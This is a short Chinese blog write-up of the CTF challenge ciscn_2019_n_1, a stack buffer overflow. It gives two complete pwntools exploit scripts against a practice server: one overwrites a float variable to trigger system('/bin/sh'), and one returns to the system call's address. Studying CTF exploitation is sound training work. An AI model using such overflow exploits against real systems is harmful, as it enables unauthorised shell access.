004-ciscn_2019_n_1

考点: ret2text,变量覆盖

查看源代码

WC4b6g.png

EXP1:修改v2值

题目提示当v2值为11.28125时,会调用system('/bin/sh')函数,于是我们可以编写如下EXP

其中11.28125对应的16进制值为0x41348000,可以通过在线网站进行转换

from pwn import *

context.arch = 'amd64'
sh = remote("node4.buuoj.cn", 26957)

float_value = 0x41348000
payload = flat(cyclic(0x30-0x4), float_value)
sh.send(payload)
sh.interactive()

WC4Omj.png

EXP2:调用system函数

sys_addr是命令system('/bin/sh')的地址,这里是通过ida查看到的

WC4H1S.png

from pwn import *

context.arch = 'amd64'
sh = remote("node4.buuoj.cn", 26957)

sys_addr = 0x4006BE
payload = flat(cyclic(0x30 + 0x8), sys_addr)
sh.send(payload)
sh.interactive()

WC4qXQ.png

posted @ 2021-07-11 23:02  labster  阅读(59)  评论(0编辑  收藏  举报